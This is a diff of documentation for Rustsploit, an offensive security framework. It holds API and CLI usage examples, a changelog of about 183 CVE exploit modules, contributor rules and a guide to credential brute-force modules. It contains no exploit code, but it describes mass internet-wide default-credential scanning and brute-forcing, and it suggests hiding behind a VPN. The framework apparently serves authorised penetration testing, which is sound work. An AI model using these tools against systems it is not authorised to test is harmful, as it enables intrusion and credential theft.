-d '{"ip": "192.168.1.1", "hostname": "router.local", "os_guess": "Linux"}'
|
||||
|
||||
# List hosts
|
||||
curl http://localhost:8080/api/hosts -H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Add a service
|
||||
curl -X POST http://localhost:8080/api/services \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "192.168.1.1", "port": 22, "protocol": "tcp", "service_name": "ssh", "version": "OpenSSH 8.9"}'
|
||||
|
||||
# List services
|
||||
curl http://localhost:8080/api/services -H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Switch workspace
|
||||
curl -X POST http://localhost:8080/api/workspace \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"name": "engagement_2"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Loot Management
|
||||
|
||||
```bash
|
||||
# Store loot
|
||||
curl -X POST http://localhost:8080/api/loot \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "192.168.1.1", "loot_type": "config", "description": "Router config dump", "data": "hostname router1\ninterface eth0..."}'
|
||||
|
||||
# List loot
|
||||
curl http://localhost:8080/api/loot -H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Background Jobs
|
||||
|
||||
```bash
|
||||
# List running jobs
|
||||
curl http://localhost:8080/api/jobs -H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Kill a job
|
||||
curl -X DELETE http://localhost:8080/api/jobs/1 -H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Export Engagement Data
|
||||
|
||||
```bash
|
||||
# Export all data as JSON
|
||||
curl http://localhost:8080/api/export?format=json -H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Shell Command Endpoint (Full Shell Parity)
|
||||
|
||||
The `/api/shell` endpoint supports **every interactive shell command**. Use the
|
||||
`commands` array to chain multiple commands in a single request.
|
||||
|
||||
### Basic Shell Commands
|
||||
|
||||
```bash
|
||||
# List all modules via shell endpoint
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "modules"}'
|
||||
|
||||
# Search for SSH modules
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "find ssh"}'
|
||||
|
||||
# Get module info
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "info exploits/heartbleed"}'
|
||||
```
|
||||
|
||||
### Chained Workflow (Select, Target, Run)
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"use scanners/port_scanner",
|
||||
"set target 192.168.1.1",
|
||||
"run"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Vulnerability Check
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"use exploits/heartbleed",
|
||||
"set target 10.10.10.10",
|
||||
"check"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Global Options via Shell
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"setg port 8080",
|
||||
"setg concurrency 50",
|
||||
"show_options"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Data Management via Shell
|
||||
|
||||
```bash
|
||||
# Add credentials (inline — no interactive prompts in API mode)
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "creds add 192.168.1.1 22 ssh admin password123 password"}'
|
||||
|
||||
# Search credentials
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "creds search ssh"}'
|
||||
|
||||
# Add host and service
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"hosts add 192.168.1.1",
|
||||
"services add 192.168.1.1 22 tcp ssh OpenSSH_8.9",
|
||||
"notes 192.168.1.1 Possible default credentials"
|
||||
]
|
||||
}'
|
||||
|
||||
# Workspace management
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "workspace pentest_2026"}'
|
||||
|
||||
# Loot management
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "loot add 192.168.1.1 config router-config hostname_router1"}'
|
||||
|
||||
# Export data
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "export json engagement_report.json"}'
|
||||
```
|
||||
|
||||
### Background Jobs via Shell
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"jobs",
|
||||
"jobs clean"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Full Workflow Cheatsheet
|
||||
|
||||
```bash
|
||||
# 1. Start server
|
||||
cargo run -- --api
|
||||
|
||||
# 2. Health check
|
||||
curl http://localhost:8080/health
|
||||
|
||||
# 3. List modules
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
|
||||
|
||||
# 4. Port scan
|
||||
curl -X POST -H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
|
||||
# 5. Check status
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
|
||||
|
||||
# 6. View IPs
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
```
|
||||
@@ -0,0 +1,2 @@
|
||||
# About Me
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
# CLI Reference
|
||||
|
||||
Rustsploit modules can be executed without the interactive shell using Clap-based flags. The CLI dispatcher (`src/cli.rs`) maps directly to the same modules used in the shell.
|
||||
|
||||
---
|
||||
|
||||
## Basic Syntax
|
||||
|
||||
```bash
|
||||
cargo run -- [FLAGS] -m <MODULE> -t <TARGET>
|
||||
```
|
||||
|
||||
Or if using the compiled binary:
|
||||
```bash
|
||||
./rustsploit [FLAGS] -m <MODULE> -t <TARGET>
|
||||
```
|
||||
|
||||
An optional positional argument (`exploit`, `scanner`, `creds`) can be used to specify the module category, but it is not required -- the dispatcher resolves modules by name automatically.
|
||||
|
||||
---
|
||||
|
||||
## Commands
|
||||
|
||||
| Flag | Values | Description |
|
||||
|------|--------|-------------|
|
||||
| `--module` / `-m` | module name or path | Module to execute (short name or qualified path) |
|
||||
| `--target` / `-t` | IP / hostname / CIDR | Target to run against |
|
||||
| *(positional)* | `exploit`, `scanner`, `creds` | Optional module category subcommand |
|
||||
|
||||
---
|
||||
|
||||
## Global Flags
|
||||
|
||||
| Flag | Short | Description |
|
||||
|------|-------|-------------|
|
||||
| `--list-modules` | | Print all available modules and exit |
|
||||
| `--verbose` | `-v` | Enable detailed logging |
|
||||
| `--output-format` | | Control output: `text` (default) or `json` |
|
||||
| `--api` | | Start the PQ-encrypted REST + WebSocket API server |
|
||||
| `--mcp` | | Start as MCP (Model Context Protocol) server on stdio |
|
||||
| `--interface <addr:port>` | | Bind address for API server (default: `127.0.0.1:8080`) |
|
||||
| `--pq-host-key <path>` | | PQ host key file (default: `~/.rustsploit/pq_host_key`) |
|
||||
| `--pq-authorized-keys <path>` | | Authorized client keys file (default: `~/.rustsploit/pq_authorized_keys`) |
|
||||
| `--resource` | `-r` | Execute a resource script file on startup |
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
```bash
|
||||
# Run an exploit
|
||||
cargo run -- -m heartbleed -t 192.168.1.1
|
||||
|
||||
# Run a scanner
|
||||
cargo run -- -m port_scanner -t 192.168.1.1
|
||||
|
||||
# Run a credential module
|
||||
cargo run -- -m ssh_bruteforce -t 192.168.1.1
|
||||
|
||||
# Run using a qualified module path
|
||||
cargo run -- -m exploits/sample_exploit -t 127.0.0.1
|
||||
|
||||
# List all modules
|
||||
cargo run -- --list-modules
|
||||
|
||||
# Run with verbose logging
|
||||
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
|
||||
|
||||
# Run with JSON output
|
||||
cargo run -- -m port_scanner -t 10.0.0.1 --output-format json
|
||||
|
||||
# Execute a resource script
|
||||
cargo run -- -r scripts/scan.rc
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Module Names
|
||||
|
||||
Modules can be referenced by:
|
||||
- **Short name:** `ssh_bruteforce`, `heartbleed`, `port_scanner`
|
||||
- **Qualified path:** `creds/generic/ssh_bruteforce`, `exploits/heartbleed`, `scanners/port_scanner`
|
||||
|
||||
Both forms resolve to the same underlying function via the build-generated dispatcher.
|
||||
|
||||
Use `--list-modules` or the shell's `modules` command for the authoritative list.
|
||||
|
||||
---
|
||||
|
||||
## Error Handling & Warnings
|
||||
|
||||
| Situation | Message |
|
||||
|-----------|---------|
|
||||
| `-m` used without `-t` | `⚠ Warning: --module specified without --target. Launching shell...` |
|
||||
| `-t` used without `-m` | Target is stored and available in the interactive shell |
|
||||
|
||||
---
|
||||
|
||||
## Interactive Prompts in CLI Mode
|
||||
|
||||
If a module requires additional parameters (e.g., wordlist paths for brute-force), it will prompt interactively even in CLI mode. For automated pipelines, modules should use sensible defaults or accept environment variables where applicable.
|
||||
@@ -0,0 +1,147 @@
|
||||
# Changelog
|
||||
|
||||
A high-level summary of significant changes. For the full detailed log, see [`changelogs/changelog-latest.md`](../changelogs/changelog-latest.md).
|
||||
|
||||
---
|
||||
|
||||
## v0.4.8 (2026-04-19)
|
||||
|
||||
### Module Totals
|
||||
|
||||
- **183 exploit modules** — cameras, routers, network infrastructure, webapps, frameworks, SSH, VNC, DoS, crypto, FTP, IPMI, telnet, Bluetooth, VoIP, Windows, payload generators, honeypot exploits (Cowrie, Dionaea, HoneyTrap, SNARE), WAF (SafeLine)
|
||||
- **27 scanner modules**
|
||||
- **29 credential modules** — all with full mass scan support (random, CIDR, file, comma-separated targets)
|
||||
- **1 plugin module**
|
||||
- **240 total modules**
|
||||
|
||||
### New in April 2026
|
||||
|
||||
#### 46 New Exploit Modules
|
||||
|
||||
| Category | Modules |
|
||||
|----------|---------|
|
||||
| Cowrie (SSH honeypot) | `ansi_log_injection`, `llm_prompt_injection`, `ssrf_ipv6` |
|
||||
| Dionaea (honeypot) | `mqtt_underflow`, `mssql_dos`, `mysql_sqli`, `tftp_crash` |
|
||||
| HoneyTrap (honeypot) | `docker_panic`, `ftp_panic` |
|
||||
| SafeLine (WAF) | `cookie_attributes`, `nginx_injection`, `no_auth_probe`, `pre_auth_tfa`, `session_secret_entropy`, `unauth_writes` |
|
||||
| Snare (honeypot) | `cookie_dos`, `tanner_version_mitm` |
|
||||
| VNC | `rfb`, `libvnc_checkrect_overflow`, `libvnc_tight_filtergradient`, `libvnc_ultrazip`, `libvnc_websocket_overflow`, `libvnc_zrle_tile`, `tigervnc_rre_overflow`, `tigervnc_timing_oracle`, `tightvnc_decompression_bomb`, `tightvnc_des_hardcoded_key`, `tightvnc_ft_path_traversal`, `tightvnc_predictable_challenge`, `tightvnc_rect_overflow`, `x11vnc_dns_injection`, `x11vnc_env_injection`, `x11vnc_unixpw_inject` |
|
||||
| SSH | `asyncssh_beginauthpass`, `libssh2_rogue_server`, `paramiko_authnonepass`, `paramiko_unknown_method` |
|
||||
| Frameworks | `apache_camel/cve_2025_27636_camel_header_injection`, `php/cve_2025_51373_php_rce` |
|
||||
| Network Infra | `commvault/cve_2025_34028_commvault_rce`, `kubernetes/cve_2025_1974_ingress_nginx_rce` |
|
||||
| WebApps | `misp_rce_cve_2025_27364`, `nextjs_middleware_bypass_cve_2025_29927`, `vite_path_traversal_cve_2025_30208`, `zimbra_sqli_auth_bypass_cve_2025_25064` |
|
||||
|
||||
#### 3 New Scanner Modules
|
||||
|
||||
- `proxy_scanner` — HTTP CONNECT, SOCKS4/5, transparent proxy discovery
|
||||
- `reflect_scanner` — UDP amplification vulnerability scanner (DNS, NTP, SSDP, Memcached)
|
||||
- `vuln_checker` — Fingerprint-based vulnerability scanner across all exploit modules
|
||||
|
||||
#### 10 New Credential Modules
|
||||
|
||||
`couchdb_bruteforce`, `elasticsearch_bruteforce`, `http_basic_bruteforce`, `imap_bruteforce`, `memcached_bruteforce`, `mysql_bruteforce`, `postgres_bruteforce`, `proxy_bruteforce`, `redis_bruteforce`, `vnc_bruteforce`
|
||||
|
||||
#### Infrastructure
|
||||
|
||||
- **WebSocket transport** (`src/ws.rs`) — PQ-encrypted WebSocket endpoint at `/pq/ws` with 100-connection cap and heartbeat
|
||||
- **Root privilege helper** (`src/utils/privilege.rs`) — `require_root()` for raw-socket modules (DoS, ping sweep, ICMP)
|
||||
- **Unified HTTP client** (`src/utils/network.rs`) — `build_http_client()` and `build_http_client_with(HttpClientOpts)` replacing hand-rolled clients in 50+ modules
|
||||
- **TCP connect helpers** — `tcp_connect_addr()`, `tcp_connect_str()`, `blocking_tcp_connect()`, `udp_bind()` centralizing socket creation
|
||||
- **MCP hardening** — `isolate_protocol_stdout()` prevents module println! from corrupting JSON-RPC; `MAX_LINE_BYTES` (1 MiB) caps; binary-safe reads
|
||||
- **Spool hardening** — `O_NOFOLLOW` flag, parent symlink check, lock-first file creation, `write_line()` returns Result
|
||||
- **build.rs** — `check_available()` dispatch for capability queries without a target; optimized regex compilation
|
||||
|
||||
#### Module Audit
|
||||
|
||||
Systematic quality pass across all 183 exploit modules:
|
||||
- Replaced `std::thread::sleep` with async alternatives in SSH and scanner modules
|
||||
- Migrated raw `TcpStream::connect` to `tcp_connect_addr()` framework utility
|
||||
- Standardized 50+ modules from hand-rolled `reqwest::Client::builder` to `build_http_client()`
|
||||
- Added `require_root()` checks to all raw-socket modules (DoS, ping sweep, ICMP flood)
|
||||
- Added `zeroize` crate for sensitive data cleanup
|
||||
|
||||
---
|
||||
|
||||
### Highlights
|
||||
|
||||
- **Framework-level multi-target dispatcher** — comma-separated, CIDR, file-based, and random target modes now work for ALL modules, handled by the framework rather than individual module code
|
||||
- **All modules use `cfg_prompt_*`** — ensures full API/CLI/MCP compatibility via the priority chain (custom_prompts > global_options > stdin)
|
||||
- **Honeypot detection system** — warns operators when a target exhibits honeypot characteristics
|
||||
- **`#[cfg(unix)]` guards** on Unix-specific permissions code for cross-platform compilation
|
||||
- **Bug fixes:**
|
||||
- SharePoint exploit: fixed header typo
|
||||
- Langflow exploit: corrected escape order
|
||||
- Zabbix SQLi: removed unused payload variable
|
||||
- Jenkins LFI: fixed async deadlock
|
||||
- Apache Tomcat: replaced hardcoded session IDs with proper generation
|
||||
|
||||
---
|
||||
|
||||
## Recent Changes
|
||||
|
||||
### Framework Features (Metasploit Parity)
|
||||
|
||||
| Feature | Commands | Description |
|
||||
|---------|----------|-------------|
|
||||
| Module Metadata | `info`, `check` | Optional `info()` and `check()` per module — CVE, author, rank, non-destructive verification |
|
||||
| Global Options | `setg`, `unsetg`, `show options` | Persistent key-value options across modules, saved to `~/.rustsploit/global_options.json` |
|
||||
| Credential Store | `creds` (add/search/delete/clear) | Track discovered credentials with JSON persistence |
|
||||
| Host/Service Tracking | `hosts`, `services`, `notes`, `workspace` | Workspace-based engagement data at `~/.rustsploit/workspaces/` |
|
||||
| Loot Management | `loot` (add/search) | Structured evidence collection with file storage |
|
||||
| Resource Scripts | `resource`, `makerc`, `-r` flag | Automation from script files, startup.rc auto-load |
|
||||
| Console Logging | `spool` (on/off) | Capture all console output to file |
|
||||
| Background Jobs | `run -j`, `jobs` (-k/clean) | Async module execution with cancellation |
|
||||
| Export/Reporting | `export json\|csv\|summary` | Export all engagement data to multiple formats |
|
||||
| Plugin System | `src/modules/plugins/` | Third-party module support with safety warnings |
|
||||
| Build System | `build.rs` | Now auto-detects `info()` and `check()` alongside `run()` |
|
||||
| Prompt System | `cfg_prompt_*` | Priority chain: custom_prompts > global_options > stdin |
|
||||
| API Endpoints | 15 new routes | Full CRUD for options, creds, hosts, services, loot, jobs, export |
|
||||
|
||||
### New Exploit Modules
|
||||
|
||||
| Module | CVE / Notes |
|
||||
|--------|-------------|
|
||||
| `exploits/mongo/mongobleed` | CVE-2025-14847 — MongoDB zlib memory disclosure, deep-scan mode |
|
||||
| `exploits/frameworks/nginx/nginx_pwner` | Nginx misconfiguration scanner — 10 checks |
|
||||
| `exploits/hikvision/hikvision_rce` | CVE-2021-36260 — command injection, SSH shell deploy |
|
||||
| `exploits/frameworks/n8n` | CVE-2025-68613 — workflow expression injection, 6 payloads |
|
||||
| `exploits/fortiweb` | CVE-2025-25257 — SQLi → webshell deploy |
|
||||
| `exploits/webapps/sharepoint` | CVE-2024-38094 — deserialization RCE |
|
||||
| `exploits/windows/dwm` | CVE-2026-20805 — Windows DWM info disclosure |
|
||||
| `exploits/crypto/geth` | CVE-2026-22862 — Go-Ethereum ecies panic DoS |
|
||||
| `exploits/frameworks/termix` | CVE-2026-22804 — stored XSS |
|
||||
| `exploits/network_infra/forticloud_sso` | CVE-2026-24858 — auth bypass |
|
||||
| `exploits/routers/ruijie/*` | 7 modules — RCE, Auth Bypass, SSRF |
|
||||
| `exploits/routers/tp_link_vigi` | CVE-2026-1457 — authenticated RCE |
|
||||
| `exploits/telnet/cve_2026_24061` | GNU inetutils-telnetd auth bypass via `NEW_ENVIRON` |
|
||||
|
||||
### New Credential Modules
|
||||
|
||||
| Module | Notes |
|
||||
|--------|-------|
|
||||
| `creds/generic/telnet_hose` | Mass internet Telnet scanner — 500 workers, disk-based state, 6-second timeout |
|
||||
|
||||
### Framework & Core Improvements
|
||||
|
||||
- **Proxy system removed** — No built-in proxy support. Use a system-level VPN (e.g., Mullvad) before launching Rustsploit.
|
||||
- **Mass-scan standardization** — All mass-scan modules accept `0.0.0.0`, `0.0.0.0/0`, or `random` targets with consistent `EXCLUDED_RANGES` enforcement.
|
||||
- **Stability** — Removed all `unwrap()` and `unwrap_or_default()` calls from critical paths.
|
||||
- **API worker threading** — Fixed with `spawn_blocking`, consolidated validation logic.
|
||||
- **Telnet bruteforce refactor** — DNS resolved once (not per-attempt), `tokio::sync::Semaphore`, state machine (`TelnetState` enum), `BytesMut` buffer management.
|
||||
- **Telnet hose** — password-only server detection (skips username prompt when server sends password prompt in banner).
|
||||
|
||||
### Dependency Upgrades
|
||||
|
||||
| Crate | Change |
|
||||
|-------|--------|
|
||||
| `suppaftp` v7 | Imports updated to `suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector}` |
|
||||
| `reqwest` v0.13 | Removed `.query()` / `.form()` helpers — manually constructed in 6 modules |
|
||||
| `rustls` v0.23 | `ServerName` import updated to `rustls::pki_types::ServerName`; deprecated `with_safe_defaults()` removed |
|
||||
| `hickory-client` v0.25 | `AsyncClient` → `Client`; `UdpClientStream` rewritten to builder pattern + `TokioRuntimeProvider` |
|
||||
|
||||
### utils.rs Improvements
|
||||
|
||||
- Config-aware prompt system (`cfg_prompt_required`, `cfg_prompt_default`, `cfg_prompt_yes_no`, `cfg_prompt_port`, `cfg_prompt_int_range`, `cfg_prompt_existing_file`, `cfg_prompt_output_file`, `cfg_prompt_wordlist`)
|
||||
- `read_safe_input` — centralizes length enforcement, null-byte stripping, and control character filtering
|
||||
- All prompt helpers updated to use `read_safe_input`
|
||||
- Payload-safe mode: only `\0` is stripped; all other characters pass through as literal text
|
||||
@@ -0,0 +1,112 @@
|
||||
# Contributing
|
||||
|
||||
Contributions are welcome — bug reports, new modules, framework improvements, and wordlist additions are all appreciated.
|
||||
|
||||
---
|
||||
|
||||
## Workflow
|
||||
|
||||
1. **Fork** the repository and create a branch from `main`
|
||||
2. **Add your module** under the appropriate category in `src/modules/`
|
||||
3. **Register it** — add `pub mod your_module;` to the sibling `mod.rs`
|
||||
4. **Run checks:**
|
||||
```bash
|
||||
cargo fmt
|
||||
cargo check
|
||||
cargo test
|
||||
```
|
||||
5. **Open a PR** — describe what the module does, the CVE (if applicable), and how to test it
|
||||
|
||||
---
|
||||
|
||||
## Module Placement
|
||||
|
||||
| Type | Path |
|
||||
|------|------|
|
||||
| Exploit | `src/modules/exploits/<vendor_or_category>/` |
|
||||
| Scanner | `src/modules/scanners/` |
|
||||
| Credential | `src/modules/creds/generic/` or `creds/<vendor>/` |
|
||||
| Plugin | `src/modules/plugins/` |
|
||||
|
||||
Use subfolders for vendor families (e.g., `exploits/cisco/`, `exploits/cameras/`).
|
||||
|
||||
### Recommended: Add Module Metadata
|
||||
|
||||
Consider adding `info()` and/or `check()` functions to your module:
|
||||
|
||||
```rust
|
||||
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "My Module".to_string(),
|
||||
description: "What this module does.".to_string(),
|
||||
authors: vec!["Your Name".to_string()],
|
||||
references: vec!["CVE-XXXX-YYYY".to_string()],
|
||||
disclosure_date: Some("2025-01-15".to_string()),
|
||||
rank: ModuleRank::Good,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
// Non-destructive verification only
|
||||
CheckResult::Unknown("Not implemented".to_string())
|
||||
}
|
||||
```
|
||||
|
||||
### Auto-Store Findings
|
||||
|
||||
If your module discovers credentials, hosts, or services, use the framework helpers:
|
||||
|
||||
```rust
|
||||
crate::cred_store::store_credential(host, port, "ssh", user, pass,
|
||||
crate::cred_store::CredType::Password, "my_module");
|
||||
crate::workspace::track_host(ip, Some("hostname"), None);
|
||||
crate::workspace::track_service(ip, 22, "tcp", "ssh", Some("OpenSSH 8.9"));
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Code Rules
|
||||
|
||||
These rules are enforced across the entire codebase:
|
||||
|
||||
- **No `unsafe` blocks.** Do not use `unsafe` Rust anywhere in this codebase.
|
||||
- **No dead code.** All code must be intentional and used. Do not leave unused functions, imports, or variables.
|
||||
- **All prompts must use `cfg_prompt_*()` variants** (from `src/utils/prompt.rs`), not raw `prompt_*()` functions. The `cfg_prompt_*` functions check API custom_prompts and global options before falling back to interactive stdin, which is required for API compatibility. Using raw prompt functions will cause modules to block when called via the API.
|
||||
|
||||
## Code Style
|
||||
|
||||
- Run `cargo fmt` — no manual formatting required
|
||||
- Use `[+]` / `[-]` / `[!]` / `[*]` prefixes for output (`.green()` / `.red()` / `.yellow()` / `.cyan()`)
|
||||
- Keep output concise and actionable
|
||||
- Document CVE IDs and affected products in comments and output
|
||||
- No `unwrap()` or `unwrap_or_default()` in critical paths — use `?` with `anyhow::Context`
|
||||
- All targets pass through `crate::utils::normalize_target` — no custom normalization
|
||||
|
||||
---
|
||||
|
||||
## Mass-Scan Modules
|
||||
|
||||
If adding a module with 0.0.0.0/0 support:
|
||||
- Copy the `EXCLUDED_RANGES` pattern from an existing mass-scan module
|
||||
- Disable honeypot detection in scan-loop mode
|
||||
- Default to a sane concurrency limit (mention it in output)
|
||||
|
||||
---
|
||||
|
||||
## Wordlists
|
||||
|
||||
- Store under `lists/` and document in `lists/readme.md`
|
||||
- Prefer Seclists derivations or well-known public sources
|
||||
- Keep file sizes reasonable — large lists should support streaming
|
||||
|
||||
---
|
||||
|
||||
## Bug Reports & Ideas
|
||||
|
||||
Open a GitHub issue or reach out with PoCs. Feature requests and module ideas are appreciated — please open a discussion before large refactors.
|
||||
|
||||
---
|
||||
|
||||
> ⚠️ All contributions must target authorized security testing scenarios. Commit messages and module descriptions must reflect controlled research usage.
|
||||
@@ -0,0 +1,179 @@
|
||||
# Credential Modules Guide
|
||||
|
||||
Best practices for writing and extending brute-force / credential-checking modules.
|
||||
|
||||
---
|
||||
|
||||
## Common Prompts
|
||||
|
||||
Credential modules should interactively prompt for:
|
||||
|
||||
- Port number
|
||||
- Username wordlist path
|
||||
- Password wordlist path
|
||||
- Concurrency limit (threads / semaphore slots)
|
||||
- Stop-on-success toggle
|
||||
- Output file path
|
||||
- Verbose logging toggle
|
||||
|
||||
Use the shared `cfg_prompt_*` helpers from `crate::utils`, which respect the priority chain (API custom_prompts > global options > interactive stdin):
|
||||
```rust
|
||||
use crate::utils::{cfg_prompt_required, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_port};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Input Handling
|
||||
|
||||
- **Trim** wordlist entries and skip blank lines
|
||||
- **Early exit** if a wordlist is empty
|
||||
- **Validate paths** — no `..`, use `canonicalize()`
|
||||
- **Stream large files** — for password files >150 MB, use streaming mode (see RDP module)
|
||||
|
||||
---
|
||||
|
||||
## Concurrency Model
|
||||
|
||||
All bruteforce modules use the shared engine (`crate::modules::creds::utils`):
|
||||
|
||||
| Function | Use Case |
|
||||
|----------|----------|
|
||||
| `run_bruteforce()` | Single-target credential testing with concurrency, progress, retry |
|
||||
| `run_subnet_bruteforce()` | CIDR subnet scanning with per-host credential testing |
|
||||
| `run_mass_scan()` | Random/file/CIDR mass scanning with lightweight probes |
|
||||
| `generate_combos()` | Generate user/password pairs (combo or linear mode) |
|
||||
|
||||
Avoid custom concurrency — always use the engine which handles semaphores, progress reporting, lockout detection, and credential storage.
|
||||
|
||||
---
|
||||
|
||||
## IPv6 Support
|
||||
|
||||
Use `format_addr` to wrap IPv6 addresses in brackets and handle port suffixes:
|
||||
|
||||
```rust
|
||||
// Good
|
||||
let addr = format_addr(&ip, port); // "[::1]:22"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Error Classification
|
||||
|
||||
Implement specific error types for better debugging and reporting:
|
||||
|
||||
```rust
|
||||
enum CredsError {
|
||||
ConnectionFailed(String),
|
||||
AuthenticationFailed,
|
||||
CertificateError,
|
||||
Timeout,
|
||||
NetworkError(String),
|
||||
ProtocolError(String),
|
||||
ToolNotFound,
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## TLS / STARTTLS
|
||||
|
||||
Accept invalid certificates for offensive tooling convenience (e.g., `danger_accept_invalid_certs(true)` in reqwest / native-tls), but document this clearly in module comments and output.
|
||||
|
||||
---
|
||||
|
||||
## Result Persistence
|
||||
|
||||
Offer to write `host -> user:pass` pairs to a local file (default `./results.txt`):
|
||||
|
||||
```rust
|
||||
if let Some(ref path) = output_file {
|
||||
let line = format!("{} -> {}:{}\n", target, user, pass);
|
||||
fs::OpenOptions::new().create(true).append(true).open(path)?.write_all(line.as_bytes())?;
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Available Credential Modules (28 total)
|
||||
|
||||
### Remote Access Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `ssh_bruteforce` | 22 | libssh2 password auth | Default creds, combo mode, streaming wordlists |
|
||||
| `ssh_spray` | 22 | Password spray | One password across many targets |
|
||||
| `ssh_user_enum` | 22 | Timing attack | CVE-2018-15473 style user enumeration |
|
||||
| `telnet_bruteforce` | 23, 2323 | IAC negotiation + prompt detection | Multi-port, 55+ IoT defaults, shell verification, streaming |
|
||||
| `telnet_hose` | 23, 2323, 23231 | Default creds mass scan | 500 concurrent, multi-port per host |
|
||||
| `rdp_bruteforce` | 3389 | Native CredSSP/NTLM | NLA/TLS/RDP/Negotiate security levels |
|
||||
| `vnc_bruteforce` | 5900 | DES challenge-response (RFB) | Password-only, bit-reversed DES key |
|
||||
| `ftp_bruteforce` | 21 | FTP/FTPS LOGIN | TLS fallback, error classification |
|
||||
| `ftp_anonymous` | 21 | Anonymous login check | FTPS fallback, LIST verification |
|
||||
|
||||
### Email Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `smtp_bruteforce` | 25, 465, 587 | SMTP AUTH (PLAIN/LOGIN/CRAM-MD5) | STARTTLS support |
|
||||
| `pop3_bruteforce` | 110, 995 | POP3 USER/PASS | TLS/STLS support |
|
||||
| `imap_bruteforce` | 143, 993 | IMAP LOGIN | IMAPS (implicit TLS), RFC 3501 escaping |
|
||||
|
||||
### Database Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `mysql_bruteforce` | 3306 | Native wire protocol (SHA1 handshake) | HandshakeV10 parsing, salt extraction |
|
||||
| `postgres_bruteforce` | 5432 | MD5 or cleartext auth | Wire protocol, `md5(md5(pass+user)+salt)` |
|
||||
